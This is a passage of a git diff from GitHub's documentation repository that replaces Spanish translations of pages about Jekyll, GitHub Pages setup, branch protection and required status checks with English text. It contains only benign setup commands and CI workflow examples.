Jekyll](/articles/about-github-pages-and-jekyll)." -## Leer más +## Further reading -- "[Solucionar problemas de errores de construcción de Jekyll para sitios de {% data variables.product.prodname_pages %}](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)" -- "[Crear y eliminar ramas dentro de tu repositorio](/articles/creating-and-deleting-branches-within-your-repository/)" -- "[Crear archivos nuevos](/articles/creating-new-files)" +- "[Troubleshooting Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/troubleshooting-jekyll-build-errors-for-github-pages-sites)" +- "[Creating and deleting branches within your repository](/articles/creating-and-deleting-branches-within-your-repository)" +- "[Creating new files](/articles/creating-new-files)" diff --git a/translations/es-ES/content/pages/index.md b/translations/es-ES/content/pages/index.md index bc7e1d5c08..a07911e622 100644 --- a/translations/es-ES/content/pages/index.md +++ b/translations/es-ES/content/pages/index.md @@ -1,6 +1,6 @@ --- -title: Documentación de GitHub Pages -shortTitle: Páginas de GitHub +title: GitHub Pages Documentation +shortTitle: GitHub Pages intro: 'You can create a website directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.' redirect_from: - /categories/20/articles/ diff --git a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md index 47648bdc36..4cef579a69 100644 --- a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md +++ b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/about-github-pages-and-jekyll.md @@ -1,6 +1,6 @@ --- -title: Acerca de las Páginas de GitHub y Jekyll -intro: 'Jekyll es un generador de sitios estáticos con soporte integrado para {% data variables.product.prodname_pages %}.' +title: About GitHub Pages and Jekyll +intro: 'Jekyll is a static site generator with built-in support for {% data variables.product.prodname_pages %}.' redirect_from: - /articles/about-jekyll-themes-on-github - /articles/configuring-jekyll @@ -26,22 +26,22 @@ versions: ghec: '*' topics: - Pages -shortTitle: GitHub pages & Jekyll +shortTitle: GitHub Pages & Jekyll --- -## Acerca de Jekyll +## About Jekyll -Jekill es un generador de sitio estático con soporte incorporado para {% data variables.product.prodname_pages %} y un proceso de construcción simplificado. Jekyll toma los archivos Markdown y HTML y crea un sitio web estático completo en función de la opción de diseño. Jekyll soporta Markdown y Liquid, un lenguaje de plantillas que carga contenido dinámico en tu sitio. Para obtener más información, consulta [Jekyll](https://jekyllrb.com/). +Jekyll is a static site generator with built-in support for {% data variables.product.prodname_pages %} and a simplified build process. Jekyll takes Markdown and HTML files and creates a complete static website based on your choice of layouts. Jekyll supports Markdown and Liquid, a templating language that loads dynamic content on your site. For more information, see [Jekyll](https://jekyllrb.com/). -Jekyll no está oficialmente admitido por Windows. Para obtener más información, consulta "[Jekyll en Windows](http://jekyllrb.com/docs/windows/#installation)" en la documentación de Jekyll. +Jekyll is not officially supported for Windows. For more information, see "[Jekyll on Windows](http://jekyllrb.com/docs/windows/#installation)" in the Jekyll documentation. -Recomandamos usar Jekyll con {% data variables.product.prodname_pages %}. Si lo prefieres, puedes usar otros generadores de sitio estático o personalizar tu propio proceso de compilación localmente o en otro servidor. Para obtener más información, consulta la sección "[Acerca de{% data variables.product.prodname_pages %}](/articles/about-github-pages#static-site-generators)". +We recommend using Jekyll with {% data variables.product.prodname_pages %}. If you prefer, you can use other static site generators or customize your own build process locally or on another server. For more information, see "[About {% data variables.product.prodname_pages %}](/articles/about-github-pages#static-site-generators)." -## Configurando Jekyll en tu sitio {% data variables.product.prodname_pages %} +## Configuring Jekyll in your {% data variables.product.prodname_pages %} site -Puedes configurar la mayoría de los parámetros de Jekyll, como los temas y los plugins del sitio, al editar tu archivo *_config.yml*. Para obtener más información, consulte "[Configuración](https://jekyllrb.com/docs/configuration/)" en la documentación de Jekyll. +You can configure most Jekyll settings, such as your site's theme and plugins, by editing your *_config.yml* file. For more information, see "[Configuration](https://jekyllrb.com/docs/configuration/)" in the Jekyll documentation. -Algunos parámetros de configuración no pueden cambiarse para los sitios {% data variables.product.prodname_pages %} sites. +Some configuration settings cannot be changed for {% data variables.product.prodname_pages %} sites. ```yaml lsi: false @@ -56,36 +56,36 @@ kramdown: syntax_highlighter: rouge ``` -De manera predeterminada, Jekyll no compila archivos o carpetas que: -- están situados en una carpeta denominada `/node_modules` o `/vendor` -- comienza con `_`, `.`, o `#` -- termina con `~` -- están excluidos por el parámetro `exclude` en tu archivo de configuración +By default, Jekyll doesn't build files or folders that: +- are located in a folder called `/node_modules` or `/vendor` +- start with `_`, `.`, or `#` +- end with `~` +- are excluded by the `exclude` setting in your configuration file -Si quieres que Jekyll procese cualquiera de estos archivos, puedes utilizar el ajuste `include` en tu archivo de configuración. +If you want Jekyll to process any of these files, you can use the `include` setting in your configuration file. -## Texto preliminar +## Front matter {% data reusables.pages.about-front-matter %} -Puedes añadir `site.github` a una publicación o página para añadir cualquier metadato de referencias de repositorio a tu sitio. Para obtener más información, consulta "[Usar `site.github`](https://jekyll.github.io/github-metadata/site.github/)" en la documentación de metadatos de Jekyll. +You can add `site.github` to a post or page to add any repository references metadata to your site. For more information, see "[Using `site.github`](https://jekyll.github.io/github-metadata/site.github/)" in the Jekyll Metadata documentation. -## Temas +## Themes -{% data reusables.pages.add-jekyll-theme %} Para obtenerr más información, consulta "[Temas](https://jekyllrb.com/docs/themes/)" en la documentación de Jekyll. +{% data reusables.pages.add-jekyll-theme %} For more information, see "[Themes](https://jekyllrb.com/docs/themes/)" in the Jekyll documentation. {% ifversion fpt or ghec %} -Puedes agregar un tema soportado a tu sitio en {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta "[Temas soportados](https://pages.github.com/themes/)" en el sitio {% data variables.product.prodname_pages %} y "[Agregar un tema a tu sitio de {% data variables.product.prodname_pages %} con el selector de temas](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser)." +You can add a supported theme to your site on {% data variables.product.prodname_dotcom %}. For more information, see "[Supported themes](https://pages.github.com/themes/)" on the {% data variables.product.prodname_pages %} site and "[Adding a theme to your {% data variables.product.prodname_pages %} site with the theme chooser](/articles/adding-a-theme-to-your-github-pages-site-with-the-theme-chooser)." To use any other open source Jekyll theme hosted on {% data variables.product.prodname_dotcom %}, you can add the theme manually.{% else %} You can add a theme to your site manually.{% endif %} For more information, see{% ifversion fpt or ghec %} [themes hosted on {% data variables.product.prodname_dotcom %}](https://github.com/topics/jekyll-theme) and{% else %} "[Supported themes](https://pages.github.com/themes/)" on the {% data variables.product.prodname_pages %} site and{% endif %} "[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)." -Puedes sobrescribir cualquiera de los valores por defecto de tu tema editando los archivos del tema. Para obtener más información, consulta la documentación de tu tema y "[Sobrescribir los valores predeterminados del tema](https://jekyllrb.com/docs/themes/#overriding-theme-defaults)" en la documentación de Jekyll. +You can override any of your theme's defaults by editing the theme's files. For more information, see your theme's documentation and "[Overriding your theme's defaults](https://jekyllrb.com/docs/themes/#overriding-theme-defaults)" in the Jekyll documentation. ## Plugins -Puedes descargar o crear plugins Jekyll para ampliar la funcionalidad de Jekyll para tu sitio. Por ejemplo, el plugin [jemoji](https://github.com/jekyll/jemoji) te permite usar el emoji con formato {% data variables.product.prodname_dotcom %} en cualquier página de tu sitio del mismo modo que lo harías en {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta "[Plugins](https://jekyllrb.com/docs/plugins/)" en la documentación de Jekyll. +You can download or create Jekyll plugins to extend the functionality of Jekyll for your site. For example, the [jemoji](https://github.com/jekyll/jemoji) plugin lets you use {% data variables.product.prodname_dotcom %}-flavored emoji in any page on your site the same way you would on {% data variables.product.prodname_dotcom %}. For more information, see "[Plugins](https://jekyllrb.com/docs/plugins/)" in the Jekyll documentation. -{% data variables.product.prodname_pages %} usa plugins que están habilitados por defecto y no pueden estar inhabilitados: +{% data variables.product.prodname_pages %} uses plugins that are enabled by default and cannot be disabled: - [`jekyll-coffeescript`](https://github.com/jekyll/jekyll-coffeescript) - [`jekyll-default-layout`](https://github.com/benbalter/jekyll-default-layout) - [`jekyll-gist`](https://github.com/jekyll/jekyll-gist) @@ -96,25 +96,25 @@ Puedes descargar o crear plugins Jekyll para ampliar la funcionalidad de Jekyll - [`jekyll-titles-from-headings`](https://github.com/benbalter/jekyll-titles-from-headings) - [`jekyll-relative-links`](https://github.com/benbalter/jekyll-relative-links) -Puedes habilitar plugins adicionales al agregar la gema del plugin en los ajustes de `plugins` en tu archivo *_config.yml*. Para obtener más información, consulte "[Configuración](https://jekyllrb.com/docs/configuration/)" en la documentación de Jekyll. +You can enable additional plugins by adding the plugin's gem to the `plugins` setting in your *_config.yml* file. For more information, see "[Configuration](https://jekyllrb.com/docs/configuration/)" in the Jekyll documentation. -Para conocer la lista de los plugins soportados, consulta "[Versiones de dependencia](https://pages.github.com/versions/)" en el sitio {% data variables.product.prodname_pages %}. Para obtener información de uso de un plugin específico, consulta la documentación del plugin. +For a list of supported plugins, see "[Dependency versions](https://pages.github.com/versions/)" on the {% data variables.product.prodname_pages %} site. For usage information for a specific plugin, see the plugin's documentation. {% tip %} -**Sugerencia:** Puedes asegurarte de que estás usando la versión más reciente de todos los plugins al mantener actualizada la gema de {% data variables.product.prodname_pages %}. Para obtener más información, consulta "[Comprobar tus páginas de GitHub localmente con Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll#updating-the-github-pages-gem)" y "[Versiones de dependencia](https://pages.github.com/versions/)" en el sitio de {% data variables.product.prodname_pages %}. +**Tip:** You can make sure you're using the latest version of all plugins by keeping the {% data variables.product.prodname_pages %} gem updated. For more information, see "[Testing your GitHub Pages site locally with Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll#updating-the-github-pages-gem)" and "[Dependency versions](https://pages.github.com/versions/)" on the {% data variables.product.prodname_pages %} site. {% endtip %} -{% data variables.product.prodname_pages %} no puede compilar sitios mediante plugins no compatibles. Si deseas usar plugins no compatibles, genera tu sitio localmente y luego sube los archivos estáticos del sitio a {% data variables.product.product_name %}. +{% data variables.product.prodname_pages %} cannot build sites using unsupported plugins. If you want to use unsupported plugins, generate your site locally and then push your site's static files to {% data variables.product.product_name %}. -## Resaltado de la sintaxis +## Syntax highlighting -Para facilitar la lectura de tu sitio, los fragmentos de código se resaltan en los sitios de {% data variables.product.prodname_pages %} de la misma manera que se resaltan en {% data variables.product.product_name %}. Para más información sobre como enfatizar sintaxis en {% data variables.product.product_name %}, vea "[Creando y resaltando bloques de código](/articles/creating-and-highlighting-code-blocks)." +To make your site easier to read, code snippets are highlighted on {% data variables.product.prodname_pages %} sites the same way they're highlighted on {% data variables.product.product_name %}. For more information about syntax highlighting on {% data variables.product.product_name %}, see "[Creating and highlighting code blocks](/articles/creating-and-highlighting-code-blocks)." -Por defecto, los bloques de código en su sitio serán resaltados por Jekyll. Jekyll utiliza el resaltador de [Rouge](https://github.com/jneen/rouge), compatible con [Pygments](http://pygments.org/). Si especificas Pygments en tu archivo *_config.yml*, el Rouge se utilizará en su lugar. Jekyll no puede usar ningún otro resaltador de sintaxis, y obtendrás una advertencia de compilación de página si especificas otro en tu archivo *_config.yml*. Para más información, vea "[Acerca de los errores de construcción de sitios Jekyll {% data variables.product.prodname_pages %} ](/articles/about-jekyll-build-errors-for-github-pages-sites)." +By default, code blocks on your site will be highlighted by Jekyll. Jekyll uses the [Rouge](https://github.com/jneen/rouge) highlighter, which is compatible with [Pygments](http://pygments.org/). If you specify Pygments in your *_config.yml* file, Rouge will be used instead. Jekyll cannot use any other syntax highlighter, and you'll get a page build warning if you specify another syntax highlighter in your *_config.yml* file. For more information, see "[About Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/about-jekyll-build-errors-for-github-pages-sites)." -Si quieres usar otro resaltador, como `highlight.js`, debes desactivar el resaltador de sintaxis de Jekyll actualizando el archivo de tu proyecto *_config.yml*. +If you want to use another highlighter, such as `highlight.js`, you must disable Jekyll's syntax highlighting by updating your project's *_config.yml* file. ```yaml kramdown: @@ -122,12 +122,12 @@ kramdown: disable : true ``` -Si tu tema no incluye CSS para resaltar la sintaxis, puedes generar la sintaxis de {% data variables.product.prodname_dotcom %} resaltando CSS y añadirlo a tu archivo `style.css` de proyecto. +If your theme doesn't include CSS for syntax highlighting, you can generate {% data variables.product.prodname_dotcom %}'s syntax highlighting CSS and add it to your project's `style.css` file. ```shell $ rougify style github > style.css ``` -## Construyendo tu sitio localmente +## Building your site locally {% data reusables.pages.test-locally %} diff --git a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md index 0253d87d8e..a39718836b 100644 --- a/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md +++ b/translations/es-ES/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md @@ -1,6 +1,6 @@ --- -title: Crear un sitio de Páginas de GitHub con Jekyll -intro: 'Puedes usar Jekyll para crear un sitio de {% data variables.product.prodname_pages %} en un repositorio nuevo o existente.' +title: Creating a GitHub Pages site with Jekyll +intro: 'You can use Jekyll to create a {% data variables.product.prodname_pages %} site in a new or existing repository.' product: '{% data reusables.gated-features.pages %}' redirect_from: - /articles/creating-a-github-pages-site-with-jekyll @@ -13,20 +13,20 @@ versions: ghec: '*' topics: - Pages -shortTitle: Crea un sitio con Jekyll +shortTitle: Create site with Jekyll --- {% data reusables.pages.org-owners-can-restrict-pages-creation %} -## Prerrequisitos +## Prerequisites -Antes de que puedas usar Jekyll para crear un sitio de {% data variables.product.prodname_pages %}, debes instalar Jekyll y Git. Para obtener más información, consulta [Instalación](https://jekyllrb.com/docs/installation/) en la documentación de Jekyll y "[Configurar Git](/articles/set-up-git)". +Before you can use Jekyll to create a {% data variables.product.prodname_pages %} site, you must install Jekyll and Git. For more information, see [Installation](https://jekyllrb.com/docs/installation/) in the Jekyll documentation and "[Set up Git](/articles/set-up-git)." {% data reusables.pages.recommend-bundler %} {% data reusables.pages.jekyll-install-troubleshooting %} -## Crear un repositorio para tu sitio +## Creating a repository for your site {% data reusables.pages.new-or-existing-repo %} @@ -35,67 +35,67 @@ Antes de que puedas usar Jekyll para crear un sitio de {% data variables.product {% data reusables.pages.create-repo-name %} {% data reusables.repositories.choose-repo-visibility %} -## Crear tu sitio +## Creating your site {% data reusables.pages.must-have-repo-first %} {% data reusables.pages.private_pages_are_public_warning %} {% data reusables.command_line.open_the_multi_os_terminal %} -1. Si aún no tienes una copia local de tu repositorio, desplázate hasta la ubicación en la que quieras almacenar los archivos fuente de tu sitio y reemplaza _PARENT-FOLDER_ por la carpeta que quieras que contenga la carpeta para su repositorio. +1. If you don't already have a local copy of your repository, navigate to the location where you want to store your site's source files, replacing _PARENT-FOLDER_ with the folder you want to contain the folder for your repository. ```shell $ cd PARENT-FOLDER ``` -1. Si aún no lo has hecho, inicia un repositorio de Git local reemplazando _REPOSITORY-NAME_ por el nombre de tu repositorio. +1. If you haven't already, initialize a local Git repository, replacing _REPOSITORY-NAME_ with the name of your repository. ```shell $ git init REPOSITORY-NAME > Initialized empty Git repository in /Users/octocat/my-site/.git/ # Creates a new folder on your computer, initialized as a Git repository ``` - 4. Cambio los directorios para el repositorio. + 4. Change directories to the repository. ```shell $ cd REPOSITORY-NAME # Changes the working directory ``` {% data reusables.pages.decide-publishing-source %} {% data reusables.pages.navigate-publishing-source %} - Por ejemplo, si decides publicar tu sitio desde la carpeta `docs` de la rama predeterminada, crea y cambia los directorios para la carpeta `docs`. + For example, if you chose to publish your site from the `docs` folder on the default branch, create and change directories to the `docs` folder. ```shell $ mkdir docs # Creates a new folder called docs $ cd docs ``` - Si decides publicar tu sitio desde la rama `gh-pages`, crea y controla la rama `gh-pages`. + If you chose to publish your site from the `gh-pages` branch, create and checkout the `gh-pages` branch. ```shell $ git checkout --orphan gh-pages # Creates a new branch, with no history or contents, called gh-pages and switches to the gh-pages branch ``` -1. Para crear un sitio nuevo de Jekyll, utiliza el comando `jekyll new`: +1. To create a new Jekyll site, use the `jekyll new` command: ```shell $ jekyll new --skip-bundle . # Creates a Jekyll site in the current directory ``` -1. Abre el Gemfile que creó Jekyll. -1. Agrega "#" en el inicio de la línea que comienza con `gem "jekyll"` para comentar esta línea. -1. Agrega la gema `github-pages` editando la línea que comienza con `# gem "github-pages"`. Cambia la línea a: +1. Open the Gemfile that Jekyll created. +1. Add "#" to the beginning of the line that starts with `gem "jekyll"` to comment out this line. +1. Add the `github-pages` gem by editing the line starting with `# gem "github-pages"`. Change this line to: ```shell gem "github-pages", "~> GITHUB-PAGES-VERSION", group: :jekyll_plugins ``` - Reemplaza _GITHUB-PAGES-VERSION_ con la última versión compatible de la gema `github-pages`. Puedes encontrar esta versión aquí: "[Versiones de la dependencia](https://pages.github.com/versions/)". + Replace _GITHUB-PAGES-VERSION_ with the latest supported version of the `github-pages` gem. You can find this version here: "[Dependency versions](https://pages.github.com/versions/)." - La versión correcta de Jekyll se instalará como una dependencia de la gema `github-pages`. -1. Guarda y cierra el Gemfile. -1. Desde la línea de comandos, ejecuta `bundle install`. -1. Opcionalmente, haz cualquier edición necesaria en el archivo `_config.yml`. Esto se requiere para las rutas relativas cuando el repositorio se hospeda en un subdirectorio. Para obtener más información, consulta la sección "[Dividir una subcarpeta en un repositorio nuevo](/github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository)". + The correct version Jekyll will be installed as a dependency of the `github-pages` gem. +1. Save and close the Gemfile. +1. From the command line, run `bundle install`. +1. Optionally, make any necessary edits to the `_config.yml` file. This is required for relative paths when the repository is hosted in a subdirectory. For more information, see "[Splitting a subfolder out into a new repository](/github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository)." ```yml domain: my-site.github.io # if you want to force HTTPS, specify the domain without the http at the start, e.g. example.com url: https://my-site.github.io # the base hostname and protocol for your site, e.g. http://example.com baseurl: /REPOSITORY-NAME/ # place folder name if the site is served in a subfolder ``` -1. De forma opcional, prueba tu sitio localmente. Para obtener más información, consulta "[Verificar tu sitio de {% data variables.product.prodname_pages %} localmente con Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll)". -1. Agrega y confirma tu trabajo. +1. Optionally, test your site locally. For more information, see "[Testing your {% data variables.product.prodname_pages %} site locally with Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll)." +1. Add and commit your work. ```shell git add . git commit -m 'Initial GitHub pages site with Jekyll' @@ -108,7 +108,7 @@ $ git remote add origin https://github.com/USER/REPOSITORY.git $ git remote add origin https://HOSTNAME/USER/REPOSITORY.git {% endif %} ``` -1. Sube el repositorio a {% data variables.product.product_name %}, reemplazando _BRANCH_ por el nombre de la rama en la que estás trabajando. +1. Push the repository to {% data variables.product.product_name %}, replacing _BRANCH_ with the name of the branch you're working on. ```shell $ git push -u origin BRANCH ``` @@ -122,8 +122,8 @@ $ git remote add origin https://HOSTNAME/USER/REPOSITORY 3.1 or ghae-issue-4382 or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} - [Require conversation resolution before merging](#require-conversation-resolution-before-merging){% endif %} - [Require signed commits](#require-signed-commits) - [Require linear history](#require-linear-history) @@ -99,7 +99,7 @@ You can set up required status checks to either be "loose" or "strict." The type For troubleshooting information, see "[Troubleshooting required status checks](/github/administering-a-repository/troubleshooting-required-status-checks)." -{% ifversion fpt or ghes > 3.1 or ghae-issue-4382 or ghec %} +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} ### Require conversation resolution before merging Requires all comments on the pull request to be resolved before it can be merged to a protected branch. This ensures that all comments are addressed or acknowledged before merge. diff --git a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md index af1d2efaca..0209187eda 100644 --- a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md +++ b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md @@ -80,7 +80,7 @@ When you create a branch rule, the branch you specify doesn't have to exist yet ![Loose or strict required status checkbox](/assets/images/help/repository/protecting-branch-loose-status.png) - Search for status checks, selecting the checks you want to require. ![Search interface for available status checks, with list of required checks](/assets/images/help/repository/required-statuses-list.png) -{%- ifversion fpt or ghes > 3.1 or ghae-issue-4382 %} +{%- ifversion fpt or ghes > 3.1 or ghae-next %} 1. Optionally, select **Require conversation resolution before merging**. ![Require conversation resolution before merging option](/assets/images/help/repository/require-conversation-resolution.png) {%- endif %} diff --git a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md index c13c716517..fd64a80a81 100644 --- a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md +++ b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md @@ -1,6 +1,6 @@ --- -title: Solución de problemas para verificaciones de estado requeridas -intro: Puedes verificar si hay errores comunes y resolver problemas con las verificaciones de estado requeridas. +title: Troubleshooting required status checks +intro: You can check for common errors and resolve issues with required status checks. product: '{% data reusables.gated-features.protected-branches %}' versions: fpt: '*' @@ -12,20 +12,19 @@ topics: redirect_from: - /github/administering-a-repository/troubleshooting-required-status-checks - /github/administering-a-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks -shortTitle: Verificaciones de estado requeridas +shortTitle: Required status checks --- +If you have a check and a status with the same name, and you select that name as a required status check, both the check and the status are required. For more information, see "[Checks](/rest/reference/checks)." -Si tienes una verificación y un estado con el mismo nombre y seleccionas dicho nombre como una verificación de estado requerida, tanto la verificación como el estado se requerirán. Para obtener más información, consulta las "[Verificaciones](/rest/reference/checks)". - -Después de que habilitas la verificación de estado requerida, tu rama podría tener que actualizarse con la rama base antes de que se pueda fusionar. Esto garantiza que tu rama ha sido probada con el último código desde la rama base. Si tu rama no está actualizada, necesitarás fusionar la rama base en tu rama. Para obtener más información, consulta"[Acerca de las ramas protegidas](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)". +After you enable required status checks, your branch may need to be up-to-date with the base branch before merging. This ensures that your branch has been tested with the latest code from the base branch. If your branch is out of date, you'll need to merge the base branch into your branch. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)." {% note %} -**Nota:** También puedes actualizar tu rama con la rama base utilizando Git rebase. Para obtener más información, consulta [Accerca del rebase de Git](/github/getting-started-with-github/about-git-rebase)." +**Note:** You can also bring your branch up to date with the base branch using Git rebase. For more information, see "[About Git rebase](/github/getting-started-with-github/about-git-rebase)." {% endnote %} -No podrás subir cambios locales a una rama protegida hasta que se hayan aprobado todas las verificaciones de estado requeridas. En su lugar, recibirás un mensaje de error similar al siguiente. +You won't be able to push local changes to a protected branch until all required status checks pass. Instead, you'll receive an error message similar to the following. ```shell remote: error: GH006: Protected branch update failed for refs/heads/main. @@ -33,13 +32,87 @@ remote: error: Required status check "ci-build" is failing ``` {% note %} -**Nota:** Las solicitudes de extracción que están actualizadas y aprobaron las verificaciones de estado requeridas pueden fusionarse localmente y subirse a la rama protegida. Esto se puede hacer sin las verificaciones de estado ejecutándose en la propia confirmación de fusión. +**Note:** Pull requests that are up-to-date and pass required status checks can be merged locally and pushed to the protected branch. This can be done without status checks running on the merge commit itself. {% endnote %} {% ifversion fpt or ghae or ghes or ghec %} -Algunas veces, los resultados de las verificaciones de estado para la confirmación de la prueba de fusión y de la confirmación principal entrarán en conflicto. Si la confirmación de fusión de prueba tiene un estado, ésta pasará. De otra manera, el estado de la confirmación principal deberá pasar antes de que puedas fusionar la rama. Para obtener más información sobre las confirmaciones de fusiones de prueba, consulta la sección "[Extracciones](/rest/reference/pulls#get-a-pull-request)". +## Conflicts between head commit and test merge commit -![Ramas con conflictos en las confirmaciones de fusión](/assets/images/help/repository/req-status-check-conflicting-merge-commits.png) +Sometimes, the results of the status checks for the test merge commit and head commit will conflict. If the test merge commit has a status, the test merge commit must pass. Otherwise, the status of the head commit must pass before you can merge the branch. For more information about test merge commits, see "[Pulls](/rest/reference/pulls#get-a-pull-request)." + +![Branch with conflicting merge commits](/assets/images/help/repository/req-status-check-conflicting-merge-commits.png) {% endif %} + +## Handling skipped but required checks + +Sometimes a required status check is skipped on pull requests due to path filtering. For example, a Node.JS test will be skipped on a pull request that just fixes a typo in your README file and makes no changes to the JavaScript and TypeScript files in the `scripts` directory. + +If this check is required and it gets skipped, then the check's status is shown as pending, because it's required. In this situation you won't be able to merge the pull request. + +### Example + +In this example you have a workflow that's required to pass. + +```yaml +name: ci +on: + pull_request: + paths: + - 'scripts/**' + - 'middleware/**' +jobs: + build: + runs-on: ubuntu-latest + strategy: + matrix: + node-version: [12.x, 14.x, 16.x] + steps: + - uses: actions/checkout@v2 + - name: Use Node.js ${{ matrix.node-version }} + uses: actions/setup-node@v2 + with: + node-version: ${{ matrix.node-version }} + cache: 'npm' + - run: npm ci + - run: npm run build --if-present + - run: npm test +``` + +If someone submits a pull request that changes a markdown file in the root of the repository, then the workflow above won't run at all because of the path filtering. As a result you won't be able to merge the pull request. You would see the following status on the pull request: + +![Required check skipped but shown as pending](/assets/images/help/repository/PR-required-check-skipped.png) + +You can fix this by creating a generic workflow, with the same name, that will return true in any case similar to the workflow below : + +```yaml +name: ci +on: + pull_request: + paths-ignore: + - 'scripts/**' + - 'middleware/**' +jobs: + build: + runs-on: ubuntu-latest + steps: + - run: 'echo "No build required" ' +``` +Now the checks will always pass whenever someone sends a pull request that doesn't change the files listed under `paths` in the first workflow. + +![Check skipped but passes due to generic workflow](/assets/images/help/repository/PR-required-check-passed-using-generic.png) + +{% note %} + +**Notes:** +* Make sure that the `name` key and required job name in both the workflow files are the same. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)". +* The example above uses {% data variables.product.prodname_actions %} but this workaround is also applicable to other CI/CD providers that integrate with {% data variables.product.company_short %}. + +{% endnote %} + +It's also possible for a protected branch to require a status check from a specific {% data variables.product.prodname_github_app %}. If you see a message similar to the following, then you should verify that the check listed in the merge box was set by the expected app. + +``` +Required status check "build" was not set by the expected {% data variables.product.prodname_github_app %}. +``` diff --git a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/index.md b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/index.md index 92e2a13606..41e102a54a 100644 --- a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/index.md +++ b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/index.md @@ -1,5 +1,5 @@ --- -title: Configurar ramas y fusiones en tu repositorio +title: Configuring branches and merges in your repository intro: 'You can manage branches in your repository, configure the way branches are merged in your repository, and protect important branches by defining the mergeability of pull requests.' versions: fpt: '*' @@ -12,6 +12,6 @@ children: - /managing-branches-in-your-repository - /configuring-pull-request-merges - /defining-the-mergeability-of-pull-requests -shortTitle: Ramas y fusiones +shortTitle: Branches and merges --- diff --git a/translations/es-ES/content/repositories/creating-and-managing-repositories/about-repositories.md b/translations/es-ES/content/repositories/creating-and-managing-repositories/about-repositories.md index 25f3997890..6a27e9ea41 100644 --- a/translations/es-ES/content/repositories/creating-and-managing-repositories/about-repositories.md +++ b/translations/es-ES/content/repositories/creating-and-managing-repositories/about-repositories.md @@ -1,6 +1,6 @@ --- -title: Acerca de los repositorios -intro: Un repositorio contiene todos los archivos de tu proyecto y el historial de revisiones de cada uno de ellos. Puedes debatir y administrar el trabajo de tu proyecto dentro del repositorio. +title: About repositories +intro: A repository contains all of your project's files and each file's revision history. You can discuss and manage your project's work within the repository. redirect_from: - /articles/about-repositories - /github/creating-cloning-and-archiving-repositories/about-repositories @@ -20,56 +20,63 @@ topics: - Repositories --- -## Acerca de los repositorios +## About repositories -Puedes ser propietario de repositorios individualmente o puedes compartir la propiedad de los repositorios con otras personas en una organización. +You can own repositories individually, or you can share ownership of repositories with other people in an organization. -Puedes restringir quién tiene acceso a un repositorio seleccionando la visibilidad del mismo. Para obtener más información, consulta la sección "[Acerca de la visibilidad de un repositorio](#about-repository-visibility)". +You can restrict who has access to a repository by choosing the repository's visibility. For more information, see "[About repository visibility](#about-repository-visibility)." -Para los repositorios que son propiedad de un usuario, les puedes dar a otras personas acceso de colaborador para que puedan colaborar en tu proyecto. Si un repositorio es propiedad de una organización, les puedes dar a los miembros de la organización permisos de acceso para colaborar en tu repositorio. For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." +For user-owned repositories, you can give other people collaborator access so that they can collaborate on your project. If a repository is owned by an organization, you can give organization members access permissions to collaborate on your repository. For more information, see "[Permission levels for a user account repository](/articles/permission-levels-for-a-user-account-repository/)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." {% ifversion fpt or ghec %} -Con {% data variables.product.prodname_free_team %} para cuentas de 